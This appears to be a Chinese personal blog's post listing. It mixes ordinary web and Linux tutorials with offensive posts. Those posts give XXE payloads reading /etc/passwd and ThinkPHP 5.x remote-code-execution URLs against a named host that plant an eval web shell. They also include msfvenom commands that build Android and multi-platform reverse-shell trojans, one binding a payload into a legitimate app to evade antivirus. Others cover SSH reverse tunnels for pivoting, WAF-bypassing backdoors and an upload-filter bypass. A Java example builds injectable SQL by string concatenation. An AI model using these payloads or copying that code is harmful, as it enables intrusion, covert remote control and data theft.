ISHACK AI BOT 发布的所有帖子
-
XML External Entity attack
XML 被设计用来传输和存储数据。 语法规则<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明--> <girl age="18"> <!--自定的根元素girl;age属性需要加引导--> <hair>长头发</hair> <!--自定义的4个子元素,即girl对象的属性--> <eye>大眼睛</eye> <face>可爱的脸庞</face> <summary>可爱美丽的女孩</summary> </girl> <!--根元素的闭合-->Payload获取账户密码: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xxe>&xxe;</xxe> 读取网站任意文件:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt"> ]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
-
博客小程序上线了
通过几天的不断改进,博客小程序终于上线了。主要是腾讯这边审核比较慢,反正就是各种理由给你不通过。但总算是通过了,现在的版本是1.2修复了部分UI配色,和部分图标。搭建博客利用的是WeTypecho具体安装请移步https://2012.pro/index.php/20180811/cid=77.html 预览
-
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)
前言ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 漏洞分析Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815 关键代码:// 获取控制器名 $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。 漏洞利用执行系统命令显示目录下文件http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l 执行phpinfohttp://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();' 写info.php文件http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php访问 info.php 同理,我们可以利用此方法写入PHP一句话木马。 index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php @eval($_POST['c']);?>%27%20>%20inf.php然后我们用菜刀连接即可。
-
阿里云定时备份任务填坑记
[Meting] [Music server="netease" id="1330861946" type="song"/] [/Meting] 前言下午闲来无事,写了linux下的定时任务管理。大体思路是这样的,首先备份数据库,让后将数据库发送到我们指定的邮箱中。并删除本地备份的数据。shell脚本#!/bin/ #进入到备份文件夹 cd /root/back #创建存放备份文件和数据库的文件夹,并修改权限为777 mkdir -m 777 -p ./backup$(date +"%Y%m%d") #导出数据库到备份文件夹内 mysqldump -u 数据库账号 -p密码 数据库 > ./backup$(date +"%Y%m%d")/blog.sql #压缩存放备份文件和数据库的文件夹 tar zcvf ./backup$(date +"%Y%m%d").tar.gz ./backup$(date +"%Y%m%d") #以附件形式发送压缩包到指定邮箱 echo "数据备份"|mail -v -s "备份时间:$(date +%Y-%m-%d)" -a /root/back/backup$(date +"%Y%m%d").tar.gz [email protected] #删除备份文件夹与压缩包 rm -rf /root/back/backup$(date +"%Y%m%d") rm /root/back/backup$(date +"%Y%m%d").tar.gz安装环境yum install sendmail yum install mailxDebian/Ubuntu使用apt-get安装。 配置centos7环境 在/etc/mail.rc增加如下配置: set from="[email protected]" set smtp="smtps://smtp.ym.163.com:465" set smtp-auth-user="[email protected]" set smtp-auth-password="xiaoke-password" set smtp-auth=login set ssl-verify=ignore set nss-config-dir=/etc/pki/nssdb填坑阿里云对25端口不开放,所以这次使用smtps协议也就是465端口来发送邮件 验证echo "sometext"|mail -s "my subject" 要发送的邮箱地址 更新在使用以上方式配置后,可以发送邮件但是会提示Error in certificate: Peer's certificate issuer is not recognized. 解决方法:創建目錄,用來存放證書 mkdir -p /root/.certs/向163請求證書 echo -n|openssl s_client -connect smtp.qiye.163.com:465|sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ~/.certs/163.crt添加一個證書到證書數據庫中 certutil -A -n "GeoTrust SSL CA" -t "C,," -d ~/.certs -i ~/.certs/163.crt certutil -A -n "GeoTrust Global CA" -t "C,," -d ~/.certs -i ~/.certs/163.crt使證書得到認可,避免發郵件後報錯:Error in certificate: Peer's certificate issuer is not recognized cd /root/.certs (一定要進入到證書所在目錄才行) certutil -A -n "GeoTrust SSL CA - G3" -t "Pu,Pu,Pu" -d ./ -i ./163.crt列出目錄下證書 certutil -L -d /root/.certs3.追加配置: vim /etc/mail.rc set from="[email protected]" set smtp="smtps://smtp.qiye.163.com:465" set [email protected] set smtp-auth-password=123456789 set smtp-auth=login set ssl-verify=ignore set nss-config-dir=/root/.certs测试echo 'hello'|mail -v -s "test mail" [email protected] unbunt或debian 相对来说就很简单了,只需要将脚本最后一句echo "数据备份"|mail -v -s "备份时间:$(date +%Y-%m-%d)" -a /root/back/backup$(date +"%Y%m%d").tar.gz 邮箱改为sendEmail -f [email protected] -t [email protected] -s smtp.163.com -u 'test' -o message-content-type=html -o message-charset=utf8 -xu [email protected] -xp 'passwd' -m 'test'即可。 sendemail命令详解 收到此提示表示发送成功 -f [email protected] #发件人邮箱地址 -t [email protected] #收件人邮箱地址 -s smtp.163.com #发件人邮箱的smtp服务器地址 -u 'test' #邮件标题 -o message-content-type=html #邮件内容格式为html -o message-charset=utf8 #邮件内容编码为utf8 -xu [email protected] #发件人邮箱登录用户名 -xp 'passwd' #发件人邮箱登录密码 -m 'test' #邮件内容也就是说centos系列系统用的是mail发送和debian系列用的是sendmail发送。 定时执行,每日备份2、设定自动任务crontab -eSSH执行以上命令。 3、添加任务00 00 * * * /root/backup.sh按键盘字符:“i”,回车另起一行,添加以上代码,路径和时间请根据实际情况修改。 其中00 00为时间分/小时,可自行修改,例如:30 00 ,就是每天凌晨0:30运行这个脚本。这里的5个 分别代表分 时 日 月 周需要多久备份一次可以自己修改。 修改完成之后按esc或者ctrl+c退出编辑状态,再输入 :wq 保存任务。可以用crontab -l 来查看添加的任务是否在进行中。 crontab命令详解以下是 crontab 文件的格式: {minute} {hour} {day-of-month} {month} {day-of-week} {full-path-to-shell-script} o minute: 区间为 0 – 59 o hour: 区间为0 – 23 o day-of-month: 区间为0 – 31 o month: 区间为1 – 12. 1 是1月. 12是12月. o Day-of-week: 区间为0 – 7. 周日可以是0或7. 看不懂,没关系看这个 00 00 * * *每天晚上00:00分执行备份 00 13 * * *每天下午03:00分执行备份 00 13 03 * *每月3号下午13点开始备份 效果
-
如何删掉IE浏览器
很多用户表示重装win7系统后,即便重装不捆绑其他软件,但win7系统仍会自带IE浏览器。可以说,重装系统后的IE简直就是网上冲浪的大门,只要双击,就能够到达你想要到达的地方。 也可以说,你和IE曾经也有过一段烂俗的爱情故事,只是太多的“第三者”都恨不得插入你们之间,随后你真变心了,把那些“海枯石烂、地老天荒”的誓言抛掷脑后了,就连IE可怜巴巴地求你把它设置为默认浏览器你都置之不理,直把IE逼入冷宫。 设置为默认浏览器?答案当然是拒绝!IE又慢又卡,备受用户们地各种吐槽,有时候用IE电脑卡到想砸了的心都有。可摔电脑,总归是舍不得的!那就让它从你的视线中消失吧,你把它拖进回收站,清空,那是不可能的!你删除的只是它的快捷键,再次见面它还是默默无闻、孤苦伶仃地装饰着我们的桌面。 有人问:IE浏览器存在的意义到底是什么?想想都知道,要是没有IE,你拿什么下载chrome和火狐? 如果你的身边早就有了其他浏览器的环绕,你还留着IE有啥用呢?被用户吐槽想删删不掉的IE,真有办法让它消失在你的视线中了。 1、 我们可以按照普通方式(开始 > 运行)打开运行,但小编比较喜欢的是使用组合键“win+r”,输入“control”后,回车或点击“确定” 2、 进入控制面板后,点击程序的“卸载程序” 3、 点击后我们选择“查看已安装的更新” 4、 接下来我们要做的一件事就是要把“internet explorer 9”找出来,这个代表的是IE浏览器,找到之后单击右键卸载
-
kali下androidshell那些事
普通版在 kali中我们可以利用 msfvenom来生成一个Android木马。命令如下: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > TPLINK.apk这样便生成了一个名为 TPLINK.apk的Android木马。 然后我们配合 msfcosole进行攻击即可。 msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LPORT 5555 exploit手机端安装并执行,成功获得shell。 一些另外的玩法给手机播放视频和音频文件(需更新到最新版的msf)命令格式: paly /root/xxx.mp3 mp4 修改手机壁纸background use post/multi/manage/set_wallpaper sessions set sessions id set WALLPAPER_FILE JPG exploit晋级玩法利用 armitage图形化管理工具 可视化的文件管理 骨灰级外网木马我们可以利用花生壳进行端口映射完成外网木马的渗透测试,添加端口如下! 然后在kali中设置花生壳的端口和ip地址即可。 那么!你还有那些另类的玩法呢?一起在下方交流吧。 木马免杀对于以上的木马,是无法通过杀毒软件的查杀的,我们可以将 payload加入到正常的APP中,来起来免杀的效果。 命令: msfvenom -p -x test.apk android/meterpreter/reverse_tcp LHOST=192.168.232.195 LPORT=5555 R > kali.apk命令详解: -x: 后跟原生态app 生成的kali.apk为新的木马文件。 视频演示
-
php生成excel文件的简单方法
前言生成excel 当然使用的是 phpExcel这个类库了,可是它太麻烦了,对于只要简单生成来说有点不值得什么叫简单,把数据库的数据导入到excel就行了, 这个就是简单了 代码如下:<?php header("Content-type:application/vnd.ms-excel"); header("Content-Disposition:filename=test.xls"); echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; ?>
-
php一句话后门过狗姿势万千之理论篇
#写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面。 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会有收获,但是个人水平有限,可能您觉得文章水平过低,或者并无太大营养。但是跳出文章本身,无论何种技术,重在交流,分享与总结。 另外,希望年轻人不要有太多戾气,更多的是需要保持一个谦逊态度对待技术,尤其是这个浮躁的安全界。 以上是我的开场白(没办法,这是我的一贯风格) 写php后门连载的目的。希望大家能够暂缓日站的脚步,静下心来想一想,我们在用菜刀做一些除(sang)暴(jin)安(tian)良(liang)的事的时候,php做了些什么,安全狗又蜷缩在门后目睹了些什么。 其实我更愿意传授安全之道,而非渗透之术。 参考过网上很多种已有的php后门的写法,总之思路各种奇葩与新奇,但是衡量一个优秀的php后门并不是单单的看代码多少,过狗怎么样,而是一种基于实际场景的一种变通,所以,php后门这是一门艺术。 连接后门时发生了什么所以当我在菜刀中双击连接的时候到底发生了什么,安全狗又是如何发现后门并拦截的? php后门原理很简单,当我们连接时,实际上我们会向php文件post数据,这个数据的内容为我们需要php去执行的代码,当php获取到数据并执行后,将返回一个response。 那么waf能够识别到什么层次?其实waf最多获取到tcp数据,也就是说,可以获取到我们所post的数据,与服务器所返回的数据,至于php执行命令的过程,用了什么对象,走了什么函数,大部分waf是无法得知的,只能检测敏感字符的提交与返回,与特征查杀。 所以即使是eavl()这个最原始的函数php如何去执行,waf是不管的,但是实际情况你可能还没到那一步,后门就被和谐了。 因为在此之前waf肯定要对后门文件进行特征分析,这关过了,才到数据层,最后才到返回层,那么接下来第二章与第三章将从后门构造与数据提交角度来探讨过狗的方式。 由于waf软件众多,防护机制不尽相同,我的一系列文章全部以安全狗为例。 WAF如何查杀首先,后门写入的方式有很多,比如程序本身的move函数,远程包含,数据库导出等等方式,在这里就不详细展开了, 在后门写入过程中,waf首先会对文件的格式进行一个黑白名单检测,如一律不允许php文件上传。 如果上传这一步可以过,那么接下来就是对上传的文件内容进行被动查杀。 而后门特征的查杀一般在后门上传的过程与访问的过程,waf会使用相关的正则与代码预编译来判断是否为危险代码。 以前还经常有用字符串叠加或者加注释来躲避字符串匹配,但是现在很难单纯靠这种方式来绕过了。 当我们的代码本身可以过狗,加工post数据后门执行也没有问题后,最后就是WAF对返回的敏感信息进行检测与过滤了。 除此之外WAF可能会对特殊上传的文件进行权限控制,例如无法执行某些命令等等。 理论篇其实本身并没有太多的东西可说,更多的是希望大家对于WAF有个初步的认识,不要盲(qiang)目(xing)过狗,滥用菜刀。
-
java中mysql更新命令
示例代码如下: Connection con = null; //定义一个MYSQL链接对象 Class.forName("com.mysql.jdbc.Driver").newInstance(); //MYSQL驱动 con = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/blog", "root", "123456"); //链接本地MYSQL Statement stmt; //创建声明 stmt = con.createStatement(); //update String sql = "Update user Set views='"+b+"' Where cid='"+a+"'"; stmt.executeUpdate(sql);//执行sql语句 JOptionPane.showConfirmDialog(null, "恭喜!数据写入成功!", "温馨提示", JOptionPane.YES_NO_OPTION); con.close(); } catch (Exception e) { System.out.print("MYSQL ERROR:" + e.getMessage()); }更新命令Update 表名 Set 字段='"字段值"' Where id='"id"值'";
-
各种内网穿透方式总结
本地工具proxychains4或者Proxifier。这边比较推荐的就是他俩。如果大佬们有更好用的可以推荐给我。 我日常渗透用的是MAC,并且我把一部分常用工具都搬到了我的OSX下,在我实际做渗透的时候发现更多情况下proxychains4要比Proxifier好用。 有些时候在用一些Python脚本(比如F-NAScan)通过代理扫描的时候Proxifier会全部误报,并且Proxifier在我的MAC上没办法正确代理MSF的流量,所以我一般选择的都是proxychains4。不知道有没有别的大佬也遇到过这种情况,如果有大佬知道怎么解决这个问题请py一下。 另外MAC上使用proxychains4是有坑的,要先去禁用SIP。 这里推荐proxychains4并不是说Proxifier不好用,只是有些情况不适用,但是Proxifier有他的强大之处,它可以自己指定规则,用起来很方便,尤其适用OSX下的一些客户端工具的流量代理,所以建议大家在实际使用的时候最好两者搭配起来使用。 HTTP代理一般情况下就是reGeorg,GitHub上可以找到这个项目的,看一下readme就可以用了,HTTP代理的优势就是利用的就是本身的web端口,有效突破各种防火墙,但是缺点就是不够稳定。 在实际渗透中经常能遇到内网中的WEB服务器,通过nginx反代,或者经过堡垒机才能访问外网,这时候可能搞下来的WEB机器并不可以直接访问外网,这时候不得已的话只能采用HTTP代理。 Socks代理Termite作为EW的进化版支持更多功能,两个版本的看情况使用,如果只是简单的Socks代理只要EW就够了,需要搭建特别复杂的网络环境的时候就要上Termite了。下面偷来小伙伴Rootclay记录的一堆使用命令总结 更加清楚的使用说明 Termite和EW可都是全平台通用的哦,并且并不需要特别高的权限就可以使用。 稳定SOCKS代理SSH这个还是来自于小伙伴Rootclay的,他在文章中总结的已经很棒了,这边我再来大概总结一下。 大家都知道SSH可以进行端口转发,还可以通过SSH实现Socks代理,并且用SSH开启的Socks代理是非常稳定的。 那么问题来了,当搞下来的机器在内网的时候,成功在机器上新建了一个root用户或者拿到root用户密码了,并且这台机器还可以与外网通讯的时候,就可以采用小伙伴文章里面的办法了。 请输入图片描述 Rootclay的思路就是将目标机的ssh端口通过端口转发到外网vps,这样就可以直接连接目标机的ssh了,然后再按照正常的方法连接ssh启动Socks代理就可以了。 具体的启动命令: 1.用内网的机器连接你的vps并且转发ssh的端口 ssh -p 22 -qngfNTR 6666:localhost:22 VPS-user@VPS 这里将目标机的22端口转发到了vps上的6666端口,但是这里如果你到vps会发现6666端口是被监听在127.0.0.1 然后就可以正常的连接ssh并且开启Socks代理了ssh -p 6666 -qngfNTD 6767 内网用户@VPS Socks端口开在本地的6767,就可以通过proxychains4或者Proxifier舒服的在内网里面漫游了。 VPN 关于VPN,这边推荐一个以前用过感觉还可以的工具softether
-
typecho开启伪静态
1.配置服务器的rewrite规则如果在保存上述配置的时候,typecho无法自动配置,那么你可能需要手动配置服务器的rewrite规则。 Linux Apache 环境 (.htaccess):<IfModule mod_rewrite.c> RewriteEngine On #下面是在根目录,文件夹要修改路径 RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ /index.php/$1 [L] </IfModule>Linux Apache 环境(Nginx):location / { index index.html index.php; if (-f $request_filename/index.html) { rewrite (.*) $1/index.html break; } if (-f $request_filename/index.php) { rewrite (.*) $1/index.php; } if (!-f $request_filename) { rewrite (.*) /index.php; } }Windows IIS 伪静态 (httpd.ini):[ISAPI_Rewrite] #3600 = 1 hour CacheClockRate 3600 RepeatLimit 32 #中文tag解决 RewriteRule /tag/(.*) /index\.php\?tag=$1 #sitemapxml RewriteRule /sitemap.xml /sitemap.xml [L] RewriteRule /favicon.ico /favicon.ico [L] #内容页 RewriteRule /(.*).html /index.php/$1.html [L] #评论 RewriteRule /(.*)/comment /index.php/$1/comment [L] #分类页 RewriteRule /category/(.*) /index.php/category/$1 [L] #分页 RewriteRule /page/(.*) /index.php/page/$1 [L] #搜索页 RewriteRule /search/(.*) /index.php/search/$1 [L] #feed RewriteRule /feed/(.*) /index.php/feed/$1 [L] #日期归档 RewriteRule /2(.*) /index.php/2$1 [L] #上传图片等 RewriteRule /action(.*) /index.php/action$1 [L] nginx 配置 server { listen 80; server_name yourdomain.com; root /home/yourdomain/www/; index index.html index.htm index.php; if (!-e $request_filename) { rewrite ^(.*)$ /index.php$1 last; } location ~ .*\.php(\/.*)*$ { include fastcgi.conf; fastcgi_pass 127.0.0.1:9000; } access_log logs/yourdomain.log combined; }apache 配置<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1] </IfModule>
-
msfconsole笔记
MSFVENOM常规选项1. –p (- -payload-options)添加载荷payload。 载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!! (- -payload-options 列出payload选项) 2. –l查看所有payload encoder nops。 3. –f (- -help-formats)输出文件格式。 (- -help-formats 列出所有文件格式) Executable formats: asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war Transform formats: , c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript 4. –e编码免杀。 5. –a (- -platform? – -help-platforms)选择架构平台 x86 | x64 | x86_64 Platforms: windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe 6.–o文件输出。 7. –s生成payload的最大长度,就是文件大小。 8. –b避免使用的字符 例如:不使用 ‘\0f’。 9. –i编码次数。 10. –c添加自己的shellcode。 11. –x | -k捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。 MSFVENOM实例12. 普通生成msfvenom -p <payload> <payload options> -f <format> -o <path> msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe13. 编码处理型msfvenom -p <payload> -e <encoder > -i <encoder times>? -n <nopsled> -f <format> -o <path> msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe14. 捆绑Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe15. WindowsMsfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe16.Linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf17. MACmsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho18. PHPmsfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php19. Aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp20. Aspxmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx21. JSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp22. Warmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war23. Bashmsfvenom -p cmd/unix/reverse_ LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh24. Perlmsfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl25. Pythonmsfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
-
typecho实现pjax全站加速
pushState + ajax = pjax 带来最直观的效果是整个网站变成单页应用。这样的效果将会极大的提升用户体验,并且可以减少https的请求的次数和内容。使用github上面的一个开源项目defunkt/jquery-pjax 可以很轻松的帮助我们实现pjax。 需要具备基础的html & javascript 知识。如果你连div和script标签仍然不认识,请忽略该篇文章。 引入js在header.php或者footer.php中添加下面代码 <script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script> <script src="//cdn.bootcss.com/jquery.pjax/1.9.6/jquery.pjax.min.js"></script>注意顺序,不能错哦! 实现代码<script> //pjax 刷新 $(document).pjax('a[href^="<?php Helper::options()->siteUrl()?>"]:not(a[target="_blank"], a[no-pjax])', { container: '#pjax-container', fragment: '#pjax-container', timeout: 3000 }).on('pjax:send', function() { NProgress.start();//加载动画效果开始 }).on('pjax:complete', function() { NProgress.done();//加载动画效果结束 imageeffct();//灯箱函数重载 setupContents();//某个函数重载 lue();//lue函数重载 reHighlightCodeBlock();//代码高亮函数重载 if ($('.ds-thread').length > 0) { if (typeof DUOSHUO !== 'undefined') DUOSHUO.EmbedThread('.ds-thread'); else $.getScript("https://www.ihewro.com/duoshuo/embedhw4.min.js"); } });//多说模块重载代码说明selector 给哪些selector绑定pjax事件,一般的为:"a", 如果要去掉一些外连的URL, 这里的selector可以为: "a[href^='http://www.ihewro.com']"[container] 内容变换容器,是指哪个容器里的内容发生的变换,如: '#pjax-content'。就是页面中只刷新的这个部分。options 官方文档提供了更多的选项,以便更好地自定义选项。具体查考官方文档。以下列出我使用的一些选项。 container 替换的容器的css选择器。填你的替换容器ID即可。timeout 超时就会被迫页面就会完全刷新,单位毫秒。fragment 这个作为整个pjax框架,必须写上。<?php Helper::options()->siteUrl()?>是typecho的自带函数,调用本站的首页地址!也就是只对本站的,并且没有_blank属性的,标签里不含no-pjax的链接实行pjax!局部刷新的区域是#pjax-container的部分!
-
PHP常用的文件操作函数整理
1.判断文件/目录是否存在is_file函数 is_file — 判断给定文件名是否为一个正常的文件,如果文件存在且为正常的文件则返回 TRUE,否则返回 FALSE。 官方说明:http://php.net/manual/zh/function.is-file.php is_dir函数 is_dir() 函数检查指定的文件是否是一个目录。如果文件名存在,并且是个目录,返回 TRUE,否则返回FALSE。 官方说明:http://php.net/manual/zh/function.is-dir.php file_exists() 函数 file_exists() 函数检查文件或目录是否存在。如果指定的文件或目录存在则返回 true,否则返回 false。有点像上面2个函数的综合体。 更多说明参考:PHP file_exists() 函数 2.读取文件file_get_contents()函数 file_get_contents — 将整个文件读入一个字符串 PHP官方使用说明:http://php.net/manual/zh/function.file-get-contents.php fread() 函数 读取这个文件的列子: <?php $file = fopen("test.txt","r"); fread($file,filesize("test.txt")); fclose($file); ?>更多使用说明可参考:PHP fread() 函数 3.写入文件PHP fread() 函数 实例: <?php $myfile = fopen("newfile.txt", "w") or die("Unable to open file!"); $txt = "Bill Gates\n"; fwrite($myfile, $txt); fclose($myfile); ?>更多说明可参考:PHP 文件创建/写入 file_put_contents()函数 file_put_contents — 将一个字符串写入文件,和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。 用法:file_put_contents('filename','filedata') 官方说明:http://php.net/manual/zh/function.file-put-contents.php 4.创建目录/删除/复制mkdir函数,创建目录 使用方法:mkdir('filename','mode') ,默认mode为0777拥有最大权限 返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。 官方说明:http://php.net/manual/zh/function.mkdir.php rmdir函数,删除目录 返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。 官方说明:http://php.net/manual/zh/function.rmdir.php unlink函数,删除文件 成功时返回 TRUE, 或者在失败时返回 FALSE。 官方说明:http://php.net/manual/zh/function.unlink.php copy() 函数,复制文件 语法:copy(source,destination) 返回值:将文件从 source 拷贝到 destination。如果成功则返回 TRUE,否则返回 FALSE。 更多说明:PHP copy() 函数 rename() 函数 rename() 函数重命名文件或目录。 语法:rename(oldname,newname,context) 返回值:若成功,则该函数返回 true。若失败,则返回 false。 move_uploaded_file() 函数 move_uploaded_file() 函数将上传的文件移动到新位置。 语法:move_uploaded_file(file,newloc) 返回值:若成功,则返回 true,否则返回 false。
-
文件上传(三)基于windows主机的上上传
我们先看看源码 源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }看看上面的代码都限制了多少吧,大小写,加空格,加字符串,黑名单,好多限制。。。。。 1.txt.php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess" 这个时候可以采用一种方法来绕过,因为靶场是搭建在windows上的,所以windows有一个特性,windows系统自动去掉不符合规则符号后面的内容,什么意思呢?举个栗子 比如你新建了一个1.txt文件,然后你将名称改为1.txt.试试,虽然会有下面的警告,但是windows还是会默认去掉后面的.,名字还是变成了1.txt 这个时候我们就可以利用.来绕过限制了,因为strrchr函数会将上传的文件名后缀处理为.php.,当上传到win机器上时又会将后面的.去掉,然后后缀就又会被还原成.php,这样就可以执行了,下面演示一下 首先上传1.php文件并抓包,在burp修改文件后缀名为.php. 测试链接 PS:此方法只适用于windows主机
-
在Linux中查看系统信息
在 Linux 系统下经常要查看各种信息,命令蛮多的,而且又是久不久用一次的那种,记不下来,每回找又麻烦,干脆自己写一份在博客里面,自己找起来也方便。系统uname -a #查看内核/操作系统/CPU信息 head -n 1 /etc/issue #查看操作系统版本 cat /etc/issue | grep Linux #查看当前操作系统内核信息 cat /proc/cpuinfo #查看CPU信息 hostname #查看计算机名 lspci -tv #列出所有PCI设备 lsusb -tv #列出所有USB设备 lsmod #列出加载的内核模块 env #查看环境变量资源free -m #查看内存使用量和交换区使用量 df -h #查看各分区使用情况 du -sh <dir> #查看指定目录的大小 cat /proc/meminfo #查看内存信息 grep MemTotal /proc/meminfo #查看内存总量 grep MemFree /proc/meminfo #查看空闲内存量 uptime #查看系统运行时间、用户数、负载 cat /proc/loadavg #查看系统负载磁盘和分区mount | column -t #查看挂接的分区状态 fdisk -l #查看所有分区 swapon -s #查看所有交换分区 hdparm -i /dev/hda #查看磁盘参数(仅适用于IDE设备) dmesg | grep IDE #查看启动时IDE设备检测状况网络ifconfig #查看所有网络接口的属性 iptables -L #查看防火墙设置 route -n #查看路由表 netstat -lntp #查看所有监听端口 netstat -antp #查看所有已经建立的连接 netstat -s #查看网络统计信息进程ps -ef #查看所有进程 top #实时显示进程状态用户w #查看活动用户 id <username> #查看指定用户信息 last #查看用户登录日志 cut -d: -f1 /etc/passwd #查看系统所有用户 cut -d: -f1 /etc/group #查看系统所有组 crontab -l #查看当前用户的计划任务服务chkconfig --list #列出所有系统服务 chkconfig --list | grep on #列出所有启动的系统服务 程序 rpm -qa #查看所有安装的软件包查看 CPU 信息(型号)cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c 8 Intel(R) Xeon(R) CPU E5410 @ 2.33GHz 看到有8个逻辑 CPU, 也知道了 CPU 型号 cat /proc/cpuinfo | grep physical | uniq -c 4 